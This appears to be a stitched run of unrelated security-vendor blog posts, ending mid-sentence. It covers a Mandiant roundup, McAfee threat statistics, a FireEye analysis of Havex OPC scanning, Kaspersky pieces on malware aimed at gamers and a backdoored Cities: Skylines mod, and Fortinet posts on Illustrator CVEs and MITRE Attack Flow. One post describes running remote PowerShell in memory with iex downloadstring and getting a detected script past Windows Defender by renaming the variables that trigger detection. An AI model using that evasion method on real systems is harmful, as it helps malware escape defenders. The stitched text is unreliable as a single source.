924B7FB00E930082CE5B96835FDE69A1 B60E085150D53FCE271CD481435C6E1E BC7923B43D4C83D077153202D84EA603 C1A7315FB68043277EE57BDBD2950503 D2095F2C1D8C25AF2C2C7AF7F4DD4908 D5A07C27A8BBCCD0234C81D7B1843FD4 E0573E624953A403A2335EEC7FFB1D83 E1677A25A047097E679676A459C63A42 F0BC5DFD755B7765537B6A934CA6DBDC F6526E6B943A6C17A2CC96DD122B211E CDB73CC7D00A2ABB42A76F7DFABA94E1 D4EB24F9EB1244A5BEAA19CF69434127
Everyone likes something for free.
And there is no better place to go to get free analysis, intelligence and tools than The Armory on M-Unition.
During the past year, we've offered intelligence and analysis on new threat activity, sponsored open source projects and offered insight on free tools like Redline™ , all of which has been highlighted on our blog.
In case you've missed it, here are some of our most popular posts: Challenges in Malware and Intelligence Analysis: Similar Network Protocols, Different Backdoors and Threat Groups
In this post, Mandiant's Intel shares insight on threat activity.
Specifically, two separate APT groups, using two different backdoors that had very similar networking protocols.
Read more to learn what they found.
New Release: OWASP Broken Web Applications Project VM Version 1.1 Chuck Willis overviews version 1.1 of the Mandiant-sponsored OWASP Broken Web Applications Project Virtual Machine (VM).
If you are not familiar with this open source project, it provides a freely downloadable VM containing more than 30 web applications with known or intentional security vulnerabilities.
Many people use the VM for training or self-study to learn about web application security vulnerabilities, including how to find them, exploit them, and fix them.
It can also be used for other purposes such as testing web application assessment tools and techniques or understanding evidence of web application attacks.
Back to Basics Series: OpenIOC Will Gibb and a few of his colleagues at Mandiant embark on a series going back to the basics and looking deeper at OpenIOC - how we got where we are today, how to make and use IOCs, and the future of OpenIOC.
Check out related posts here: The History of OpenIOC , Back to the Basics , OpenIOC, IOC Writer and Other Free Tools.
Live from Black Hat 2013:
Redline, Turbo Talk, and Arsenal Sitting poolside at Black Hat USA 2013, Mandiant's Kristen Cooper chats with Ted Wilson about Redline in this latest podcast.
Ted leads the development of Redline where he provides innovative investigative features and capabilities enabling both the seasoned investigator and those with considerably less experience to answer the question, \"have you been compromised?\" Utilities Industry in the Cyber Targeting Scop e
Our intel team is back again, this time with an eye on the utilities industry.
As part of our incident response and managed defense work, Mandiant has observed Chinese APT groups exploiting the computer networks of U.S. utilities enterprises servicing or providing electric power to U.S. consumers, industry, and government.
The most likely targets for data theft in this industry include smart grid technologies, water and waste management expertise, and negotiations information related to existing or pending deals involving Western utilities companies operating in China.
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Chances are you have heard about how easy it can be to evade antivirus.
Often, this is because the signatures used by vendors are too simplistic and can be successfully duped without changing the functionality of the malware.
Have you ever attempted to evade AV?
Is it really that easy?
In this blog post, I’ll show you how I adapted “malicious” (not really)
PowerShell script to slip by Windows Defender.
One of my favorite PowerShell commands is iex (new-objectnet.webclient).downloadstring, which can be used to load a remotely hosted script directly into memory.
This command is often behind reports of “fileless” malware and is regularly abused by red teams and criminals alike.
AV detection of this method has improved somewhat recently but plenty of options exist to evade, such as invoke-obfuscation by @danielhbohannon .
The MITRE ATT&CK framework includes a technique called “Indicator Removal from Tools” ( T1066 ), which describes how an adversary may alter a tool after it is detected in an attempt to evade defenses.
T1066 is one reason why alerts for a tool being blocked should not be ignored.
In researching this technique, I found that using my favorite command with PowerSploit’s Find-AVSignature.ps1 somewhat ironically resulted in a Windows Defender block… not-so-ironically, it was released in 2012.
There have been many excellent posts on how to evade AV but, as the saying goes, “there is more than one way to skin a cat.”
To highlight how ridiculous AV can be, I decided to bypass AV detection of Find-AVSignature.ps1 while maintaining the spirit of “there is an easier way,” outlined in @obscuresec ’s blog post introducing Find-AvSignature.
The key to my method is PowerShell’s built-in Invoke-Webrequest command (also known by the aliases \"iwr,\" \"wget,\" and \"curl\").
While Windows Defender will block calling Find-AvSignature.ps1 when attempting to use iex (new-object net.webclient).downloadstring… ...
it will NOT block you from performing a wget on the page and then viewing the page’s content.
Now we’re getting somewhere, but we can’t simply write the contents to disk.
From here, we are going to find out where Defender is catching the file by writing the file to the disk one line at a time.
After we find the line, we are going to break it into words and then reverse any variables found in the line.
This will require a fairly simple script: From the output of the script, we can see that detection takes place on line 166 (167 for non-programmer types), which reads: $BytesLeft = $BytesLeft - $count ‍ Surely, we can't change the variable names!
‍ ‍ We could simply do a $page.content.replace twice to replace the two variables but why would we when we can over-complicate this?
Let’s add logic to change the variable names for us by simply reversing the characters.
Now the output reads: Detection at line 166 (counting from 0 ^,^) Replaced $BytesLeft with $tfeLsetyB Replaced $count with $tnuoc ‍ But does Find-AvSignature.ps1 still work?
Yes, yes it does….
So, is this only Windows Defender sucking?
No, no it is not… As you can see, it’s not only Windows Defender that is using a poorly chosen detection string – our small change detection went across several AV products.
This begs some questions: How well does AV hold up to other techniques?
Is that ok because you are covered elsewhere?
More expansively, how well does your firewall, IDS/IPS, and Sandbox hold up?
Could you adjust your defense strategy to compensate?
Before you invest in another security tool to layer over the tons that you probably already have, ask yourself if it’s really the product or a change in configuration that is needed.
Verodin SIP prescriptively shows you exactly what change you should make to optimize your security, so you can find solutions with what you already have in your network.
To learn more, request a demo .
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By Raj Samani on Jun 26, 2018
In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year.
We have observed that although overall new malware has declined by 31% since the previous quarter, bad actors are working relentlessly to develop new technologies and tactics that evade many security defenses.
These are the key campaigns we cover in this report.
Deeper investigations reveal that the attack targeting organizations involved in the Pyeongchang Winter Olympics in South Korea used not just one PowerShell implant script, but multiple implants, including Gold Dragon, which established persistence to engage in reconnaissance and enable continued data exfiltration.
The infamous global cybercrime ring known as Lazarus has resurfaced.
We discovered that the group has launched the Bitcoin-stealing phishing campaign “HaoBao,” which targets the financial sector and Bitcoin users.
We are also seeing the emergence of a complex, multisector campaign dubbed Operation GhostSecret, which uses many data-gathering implants.
We expect to see an escalation of these attacks in the near future.
Here are some additional findings and insights: Ransomware drops: New ransomware attacks took a significant dive (-32%), largely as a result of an 81% drop in Android lockscreen malware.
Cryptojacking makes a comeback:
Attackers targeting cryptocurrencies may be moving from ransomware to coin miner malware, which hijacks systems to mine for cryptocurrencies and increase their profits.
New coin miner malware jumped an astronomical 1,189% in Q1.
LNK outpaces PowerShell: Cybercriminals are increasingly using LNK shortcuts to surreptitiously deliver malware.
New PowerShell malware dropped 77% in Q1, while attacks leveraging Microsoft Windows LNK shortcut files jumped 24%.
Incidents go global :
Overall security incidents rose 41% in Q1, with incidents hitting multiple regions showing the biggest increase, at 67%, and the Americas showing the next largest increase, at 40%.
Get all the details by reading the McAfee Labs Threats Report, June 2018.
FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.
While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS) .
Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.
).
Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments.
The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.
Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown.
We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.
OPC Testing Environment To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1 [3] ).
As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank).
FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).
Figure 1: Topology of typical OPC server setup The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices.
We utilized an Arduino Uno [1] as the primary hardware platform, acting as the OPC server.
The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost.
We leveraged the OPC Server and libraries from St4makers [2] (as shown in Figure 2).
This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.
Figure 2: OPC Server Setup Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).
Figure 3:
Matrikon OPC Explorer showing Arduino OPC Server We also used Matrikon’s OPC Explorer [1] , which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server.
In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.
Figure 4:
Tags identified for OPC server In the OPC testing environment, we created tags in order to simulate a true OPC server functioning.
Tags, in relation to ICS devices, are single data points.
For example: temperature, vibration, or fill level.
Tags represent a single value monitored or controlled by the system at a single point in time.
With our test environment complete, we executed the malicious Havex “.dll\" file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.
Analysis The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38).
When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.
The scanning process starts when the Havex downloader calls the runDll export function.
The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.
Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.
The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:
Figure 5: Relevant COM objects Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server: Figure 6: CLSIDs used to determine capabilities of the OPC server When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\\[random].tmp.dat.
The results of a capability scan of an OPC server is stored in %TEMP%\\OPCServer[random].txt.
Files are not encrypted or deleted once the scanning process is complete.
Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\\[random].tmp.yls.
The encryption process uses an RSA public key obtained from the PE resource TYU.
The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.
The TYU resource is BZip2 compressed and XORed with the string “1312312”.
A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below: Figure 7:
Sample decoded TYU resource The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier.
The AASp1… value is the Base64 encoded RSA key.
A sample encrypted log file (%TEMP%\\[random].tmp.yls) is below.
00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30
29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030
00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..
&.4..
J....00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 .....]...3..
Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib....
o./..8..00000070
56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..
C.a.
`.....00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f....
L...J9u1T..00000090
b5 b6
4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..
000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j\"...
r.....
+..]000000B0
61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a...G'ja...
A....000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..
T.F..r.....].#000000D0
2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..
Guow.k --Truncated--Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80
FE A6 B9 A9 8A 0F 41…
The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES
Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1… Figure 8:
Sample encrypted .yls file Execution When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\\[random].tmp.dat:
Figure 9:
Sample scan log The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers.
These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.
The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\\[random].tmp.dat.
The particular fields queried are: server state, tag name, type, access, and id.
The contents of a sample %TEMP%\\OPCServer[random].txt can be found below: Figure 10:
Contents of OPCServer[Random].txt OPC interrogation While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.
Conclusion Part of threat intelligence requires understanding all parts of a particular threat.
This is why we took a closer look at the OPC functionality of this particular Havex variant.
We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning.
It is possible that these attackers could have used this malware as a testing ground for future utilization, however.
Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex.
First, ICS environments need to have the ability to perform full packet capture ability.
This gives incident responders and engineers better visibility should an incident occur.
Also, having mature incident processes for your ICS environment is important.
Being able to have security engineers that also understand ICS environments during an incident is paramount.
Finally, having trained professionals consistently perform security checks on ICS environments is helpful.
This ensures standard sets of security protocols and best practices are followed within a highly secure environment.
We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation.
Still, lots of questions remain about this component of Havex.
What is the attack path?
Who is behind it?
What is their intention?
We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.
Acknowledgements We would like to thank Josh Homan for his help and support.
Related MD5s ba8da708b8784afd36c44bb5f1f436bc 6bfc42f7cb1364ef0bfd749776ac6d38 4102f370aaf46629575daffbd5a0b3c9 References http://www.matrikonopc.com/products/opc-desktop-tools/opc-explorer.aspx http://arduino.cc/en/Main/arduinoBoardUno http://www.f-secure.com/weblog/archives/00002718.html
http://www.opcdatahub.com/WhatIsOPC.html Subscribe to Blogs Get email updates as new blog posts are added.
So long as gamers seek out free apps in the form of unlicensed copies, cracks, and other goodies, cybercriminals will continue to prey on them, and we will continue to spotlight the dangers gamers face.
Here are some we’ve found over the past year.
Cyberattacks on gamers Our experts took a look at how cybercriminals made money from gamers who skimped on both gaming and security, ending up with unexpected apps along with (or instead of) the games they thought they were downloading.
Want some ads?
Perhaps the most common surprise greedy gamers find in their popular games is adware.
Although not usually too harmful, adware can be very annoying.
With this uninvited guest on their computer or smartphone, users will constantly be closing banners, pop-up videos, and browser pages they didn’t open.
Cryptomining, a timeless threat In the hierarchy of bad stuff users might get with pirated games, cryptominers rank far higher than adware.
Gamers, with their souped-up computers and brawny video cards, make ideal targets for cryptocurrency freeloaders — and a miner concealed inside a game with high system requirements can go unnoticed for quite some time, during which the computer is working for a malicious third party.
Swarez:
Danger at the top of search results Most gamers know that the place to get official games is a specialized store such as Steam.
But for a “Minecraft crack” or “virus-free FIFA,” they turn to search engines.
Cybercriminals take advantage of this, creating websites offering free keys, cracks, and unlocked versions of games; adding Trojans; and pushing them onto the first page of search results.
Alternatively, they can load infected, pirated copies onto existing warez sites.
That is how the Swarez loader gets distributed.
Users who try to download, say, cracks for Minecraft get sent through a long chain of redirects to a page with a ZIP archive, inside of which is another password-protected ZIP and a text file with a key.
Unzipping the archive loads Swarez on the unfortunate gamer’s device, where it proceeds to download Taurus spyware, a Trojan that takes screenshots and steals cryptowallets, desktop files, and passwords and other data stored in browsers.
Fake Minecraft targets Android users Minecraft remains very popular cyberattack bait, including on smartphones and tablets.
Back in 2020, we found more than 20 malicious apps on Google Play disguised as mods for the game, and this year saw a repeat .
The game also serves as a front for Hqwar malware, which reports an installation error and prompts the user to uninstall the app.
In fact, that removes only the icon; the malware remains, working in stealth mode to harvest online bank credentials.
Vesub Trojan disguised as Brawl Stars and PUBG
Another example of cunning malware, Vesub, hides in pirated versions of Brawl Stars and PUBG for Android.
When run, the malware appears to load very slowly — and then, nothing.
The victim, seeing the game is not working, quits.
The icon disappears from the screen at that point, but the Trojan remains on the device and gets to work.
What’s actually happening during that fake startup is data collection:
Vesub collects system data and receives further instructions.
Then, running in the background, it can subscribe the victim to paid services, send text messages from their smartphone, play YouTube videos, visit app pages on Google Play, and open advertising websites.
And then there’s phishing By now you should understand quite well that downloading pirated games is far more trouble than it’s worth.
If so, your gaming experience just became a lot safer.
However, you should know about another way cybercriminals exploit gamers’ quest for freebies: offering bundles of games at a 99% discount, promising mountains of free or near-free in-game currency, and inviting players to take part in nonexistent tournaments.
Hiding behind famous titles — from FIFA 21 and Apex Legends to GTA Online and Pokemon Go — cybercriminals scoop up victims’ e-mail addresses, social network names and login credentials, and game info.
Even without passwords, such information fetches a price on the dark web .
Need we state that by entering your password on an unofficial site, you run the risk of losing your account?
Even worse is if the victim, asked for payment card details for “verification,” agrees.
What happens next, you know only too well.
How to get games risk-free The risks gamers face are neither new nor particularly unusual.
Although gamers appear to be a relatively risk-tolerant group, you can practice safe gaming by following some commonsense tips: Buy games (yes, buy them) from official stores only.
You can still save money on video games , and you need not walk into traps.
For example, publishers hold sales regularly and even host the occasional giveaway.
By waiting for official discounts, you not only minimize the chance of a run-in with malware, but also support the developers and get the latest patches for your favorite games in good time.
Be careful when downloading games.
Cybercriminals often promote malicious pages that appear to be well-known online stores.
Unfortunately, you cannot trust search engines completely, here.
Just download the platform’s official app (if it has one), bookmark its website, or enter the URL manually.
Follow our simple security guide for buying loot boxes or other virtual goods: One rule, for example, is never to trust shady sites offering cheap unique skins, weapons, and so forth.
Check the security settings of services you use, and see our how-to guides for protecting accounts on Steam , Battle.net , Origin , Discord , Twitch , and other platforms .
Install a reliable antivirus solution on your computer and smartphone, and never disable it.
Contrary to popular myth, antivirus software does not cause game slowdown , especially if you configure it correctly.
FortiGuard Labs Threat Research Report Affected platforms: Windows Impacted parties: Users of Adobe Illustrator 2021, versions 25.4.1 and earlier Impact: Multiple Vulnerabilities leading to Arbitrary Code Execution, Memory Leak and Application Denial of Service Severity level: Critical
In August of 2021, I discovered and reported multiple zero-day vulnerabilities in Adobe Illustrator to Adobe, Inc.
On Tuesday, October 26, 2021, Adobe released several security patches that fixed these vulnerabilities.
They are identified as CVE-2021-40718, CVE-2021-40746, CVE-2021-40747, CVE-2021-40748 and CVE-2021-40749.
All these vulnerabilities have similar root causes related to a single Illustrator Plugin.
We suggest users apply the Adobe patches as soon as possible.
Following are some details on these vulnerabilities.
More information can be found on the related Fortinet Zero Day Advisory pages by clicking on the CVE links, below: CVE-2021-40718:
This is a Memory Leak vulnerability that exists in the decoding of AutoCAD Drawing ‘DWG’ files in Adobe Illustrator.
Specifically, the vulnerability is caused by a malformed DWG file, which causes an Out of Bounds Read memory access due to an improper bounds check.
Attackers can exploit this vulnerability for unintended memory reads, potentially leading to a memory data leak.
Fortinet previously released IPS signature Adobe.
Illustrator.
CVE-2021-40718.Memory.
Leak for this specific vulnerability to proactively protect our customers.
CVE-2021-40746 : This is an Arbitrary Code Execution vulnerability that exists in the decoding of AutoCAD Drawing ‘DWG’ files in Adobe Illustrator.
Specifically, the vulnerability is caused by a malformed DWG file, which causes an Out of Bounds memory access due to an improper bounds check.
Attackers can exploit this vulnerability to execute arbitrary code within the context of the application via a crafted DWG file.
Fortinet previously released IPS signature Adobe.
Illustrator.
CVE-2021-40746.Arbitrary.
Code.
Execution for this specific vulnerability to proactively protect our customers.
CVE-2021-40747 :
This is a Memory Corruption vulnerability that exists in the decoding of AutoCAD Drawing ‘DWG’ files in Adobe Illustrator.
Specifically, the vulnerability is caused by a malformed DWG file, which causes a NULL pointer dereference.
Attackers can exploit this vulnerability with a crafted DWG file, potentially leading to an application denial of service.
Fortinet previously released IPS signature Adobe.
Illustrator.
CVE-2021-40747.DoS for this specific vulnerability to proactively protect our customers CVE-2021-40748 :
This is a Memory Corruption vulnerability that exists in the decoding of AutoCAD Drawing ‘DWG’ files in Adobe Illustrator.
Specifically, the vulnerability is caused by a malformed DWG file, which causes a NULL pointer dereference.
Attackers can exploit this vulnerability with a crafted DWG file, potentially leading to an application denial of service.
Fortinet previously released IPS signature Adobe.
Illustrator.
CVE-2021-40748.DoS for this specific vulnerability to proactively protect our customers CVE-2021-40749 :
This is a Memory Corruption vulnerability that exists in the decoding of AutoCAD Drawing ‘DWG’ files in Adobe Illustrator.
Specifically, the vulnerability is caused by a malformed DWG file, which causes a NULL pointer dereference.
Attackers can exploit this vulnerability with a crafted DWG file, potentially leading to an application denial of service.
Fortinet previously released IPS signature Adobe.
Illustrator.
CVE-2021-40749.DoS for this specific vulnerability to proactively protect our customers.
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
FortiGuard Labs has been working with MITRE Engenuity’s Center for Threat Informed Defense (CTID) on various research projects that advance the state of the art in threat-informed cybersecurity.
Fortinet has been an active member of the Center and is also a research sponsor because we see the value in giving defenders and executives expansive visibility into the ever-evolving threat landscape.
For example, we played a leading role in the Center’s project called Sightings, in which analyzed data from Center participants and other data contributors provides an accurate depiction of the most used cyberattacker tactics, techniques, and procedures (TTPs).
An overview of the project can be found in my blog titled: MITRE Sightings Report Provides Guidance on Key Cyberattack Techniques .
The Sightings project generated very valuable threat intelligence for organizations by building a “heat map” and showing what is known about the attackers’ techniques, but that threat intelligence can also be extended and enhanced.
Getting a Clearer View of Where Actions Are Taking Place This brings us to the next project we have been working on as part of the CTID, which is called Attack Flow .
With Attack Flow, we aim to show how attacks are moving from left to right on the kill chain or MITRE ATT&CK® framework.
The result is good empirical data that indicates not only how attackers are moving through networks but also what assets they’re hitting in the process.
The flow gives a clear view of where specific actions will take place so that IT leadership will know what defense strategies to prioritize.
Without Attack Flow, it’s extremely difficult for executives to grasp how these attacks map to specific assets within their environments and under their responsibility, especially because multiple attack flows are possible.
Cyber defenders also have a hard time understanding where to look after identifying specific TTPs in their networks.
Our Attack Flow intelligence will shed light on these two common hurdles.
What Is An Attack Flow?
Jon Baker, the Center’s director of research, defines an attack flow as: “…a machine-readable representation of a sequence of actions and assets along with knowledge properties about those actions and assets.
This representation is composed of five main objects: the flow itself, a list of actions, a list of assets, a list of knowledge properties, and a list of causal relationships between the actions and assets.
Each of these five objects includes a set of required and optional fields.
For example, an action must have a description and a name, whereas an asset may—but not must!—have an associated state.\" This Attack Flow Project boils down to two things: 1) mapping the flow of actions and 2) identifying what is the ultimate goal of that flow so cyber defenders know what their next step should be.
In this example , each action is in a red box (and references a MITRE ATT&CK technique), each asset is in a blue box, and some select properties are shown in a green box.
As you can see, different flows have different outcomes—with different impacts on the organization.
One path leads to “Cryptocurrency” while the other leads to “Data.”
Having this type of information can help executives and IT security teams in deciding which defenses to prioritize based on the predictable outcomes they are most likely to see.
When executives have information on each asset’s value coupled with the attack flow information, they have all that’s needed to make a “threat-informed” decision about which of their defenses should be fortified first.
Value in Knowing the Potential Outcomes Using the same data, cyber-defense teams will be able to quickly know for instance: If 90% of the attacks follow a specific path of techniques, they will then be able to move more quickly to identify the attack path taken on an active investigation.
This ability will be possible after we have an extensive dataset of attack flows to examine and do data analysis on the attack flow corpus.
There is a lot of value in understanding the flow of the attack as well as its potential outcomes and affected assets, including the ability to: Easily explain to executives the outcomes of attacks Allow executives to fully understand the impact of each attack on each asset Guide defenders where to look next when they find a specific TTP in their environment Replay more realistic attacks following the specific order in which they are executed, instead of done without any specific order
What’s Next The next phase of our Attack Flow Project with the Center will focus on building tools and a dataset library of attacker flows.
These items can then be used by organizations worldwide to assist in better defending against cyberattacks.
This is much like the other research projects that Center has done over the years, like the adversary emulation plans—but on steroids.
Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about the Fortinet free cybersecurity training initiative , the Fortinet NSE Training program , Security Academy program , and Veterans program .
On February 13, 2022, EuroGamer published a post reporting the spread of malicious code among users of the Cities: Skylines game.
Two days later, the article was updated: nobody was adversely affected, but one of the game mod creators tried to sneak a backdoor into the official store.
We looked into this interesting case of a potentially serious attack on gamers.
About Cities: Skylines in brief We apologize in advance to fans of the game, but for everyone else, we think it is necessary to provide a brief description — it’s important for the story.
Cities: Skylines is a city simulator, and it looks something like this: Screenshot from Cities: Skylines.
Source Cities: Skylines is a competitor and in some ways a successor to the famous SimCity series from the 1990s and 2000s, whose history (so far) ended with a failed release in 2013.
Cities: Skylines was released in 2015 — quite a long time ago by standards of the ever-changing online world, but fans are unlikely to be scared by this.
Instead of releasing a new series, the creators of Cities: Skylines preferred an approach with gradual modification of the original game, releasing official expansion packs about every six months.
The 13th release came out just recently.
Each of these expansions adds new elements to the virtual world.
It may be buildings (you can now build an airport of your own design), natural phenomena, development scenarios (“green” city), and so on.
Unofficial modifications expand the game even more.
In fact, any player who seriously enjoys Cities: Skylines , will eventually start experimenting with mods.
The game was originally designed to make it easy for users to develop and share modifications.
Anybody can upload them to the public Steam Workshop directory .
With our without mods and addons, Cities: Skylines allows you to build your own city.
Divide the land between housing, industry, and commerce.
Plan roads and fight traffic jams.
The game is so good and so realistic that people even used it to plan the transportation system of a real city!
An example of a good mod for Cities: Skylines is Traffic Manager: President Edition .
It adds fine-tuning to the game’s basic road construction features: you can fine-tune traffic lights, set lane direction and speed limits, prohibit parking, and so on.
Basically, the mod enables you to do things that are essential for traffic improvement, both in real life and in the game.
To summarize, you can play Cities: Skylines without extensions, but few fans do it, because a properly chosen set of mods both seriously improves game play and makes it more convenient.
To make a long story short, if you want the full Cities: Skylines experience, use mods.
Vengeance mods Now let’s go directly to events.
On February 10, 2022, the creators of the aforementioned Traffic Manager:
President Edition mod published a warning about malicious extensions for the game: The creators of Traffic Manager: President Edition accuse the author of other mods of distributing malware.
Source The malicious functionality was relatively harmless: the extension randomly changed the speed limits on roads in the game.
And not for all users, but only for those who were “lucky” enough to be in the mod creator’s list.
This list includes the developers of Traffic Manager, the creators of the game, and other people that the list creator had real or imaginary complaints about.
But that’s not all.
In the same post, the creator of the mod known as Chaos or Holy Water intentionally broke compatibility with other mods.
As Cities: Skylines has a huge number of modifications, it needs a mechanism that prevents mod-related bugs in the game.
The game creators settled for very simple compatibility check: they expect the mod developer to check everything themselves, and add incompatible extensions to a special list.
Chaos/Holy Water took advantage of this feature, and started adding other popular extensions to the incompatibility list of their own mods.
When users asked the creator why the mod was incompatible with other extensions, and what to do, they referred to the poor quality of code from other developers, and offered their own version of another extension, slightly modifying the original.
That is how Chaos tried to popularize their modifications and increase the number of their own add-ons for each user.
If the developer was criticized, Chaos/Holy Water retaliated by adding the Steam platform’s IDs of critics to their personal “enemies list,” which introduced arbitrary bugs in the game’s performance.
There was some interesting internal drama among active fan players, but nothing serious enough to call it a real malicious attack.
But wait — that’s not all!
Hundred percent backdoor On February 14, 2022, the developers of Cities: Skylines published their description of the incident.
It reports that the author’s extensions have been removed from the Steam Workshop site.
The creators of the game insist that there was no malicious code in them.
Clarifying, “No keyloggers, viruses, cryptocurrency mining software, or similar” was found.
But further down in the text, there is a brief mention of the “Update from GitHub” extension by the same author.
And what did this mod do?
— it switched the add-on update mechanism from standard (via Steam Workshop) to an alternative one, updating mods directly from the creator’s repository on GitHub.
And this is a real backdoor: users who installed this modification along with a couple of other modifications by the same creator could’ve ended up downloading and running arbitrary code at any time.
In a situation like this you can only rely on the conscience of the extension creator (although given the “enemies list,” this is clearly a bad idea).
Even if the backdoor creator does not plan to hack users of their mods, access to their GitHub account can be stolen or they can sell their account themselves (as often happens, for example, with browser extensions).
Finally, if a mod is already installed, user will most likely need to remove it manually, but not everyone may get round to that.
Fortunately, according to Cities: Skylines developers, only 50 people have been affected this time.
How to protect yourself from dangerous game mods There are plenty of ways to get a user to download malware under the guise of an “official” program or game.
But with custom extensions, things are more complicated: by definition, they are created in a “home-made” manner, and the developer of the game cannot control all the modifications.
Therefore, as you expand the capabilities of your favorite game, be vigilant.
Try to install mods from official sources, if possible.
And if the mod creator advises you “in case of problems, disable your anti-virus,” think twice before doing so.
The incident with the mods for Cities: Skylines ended, thankfully, without too much drama.
The malicious developer was banned, and it seems they had no intention of causing serious damage to players.
But they created a rather complex mechanism of penetration users’ computers that exploited peculiarities of the community.
And most importantly, they tried to bring users out from the control of the official platform for distributing mods.
In a worst-case scenario such a backdoor could be used to deliver malicious code that, for example, would steal passwords from the game service or mine cryptocurrency on player’s computer.
Tracking the activity of such “shapeshifter programs” is standard functionality of any reliable security solution.
On top of that our Kaspersky Security Cloud also features a special gaming mode that provides protection with a minimal impact to computer’s performance.
So when experimenting with your favorite game, don’t forget about taking precautions.
Reverse engineers, forensic investigators, and incident responders have an arsenal of tools at their disposal to dissect malicious software binaries.
When performing malware analysis, they successively apply these tools in order to gradually gather clues about a binary’s function, design detection methods, and ascertain how to contain its damage.
One of the most useful initial steps is to inspect its printable characters via the Strings program .
A binary will often contain strings if it performs operations like printing an error message, connecting to a URL, creating a registry key, or copying a file to a specific location – each of which provide crucial hints that can help drive future analysis.
Manually filtering out these relevant strings can be time consuming and error prone, especially considering that: Relevant strings occur disproportionately less often than irrelevant strings.
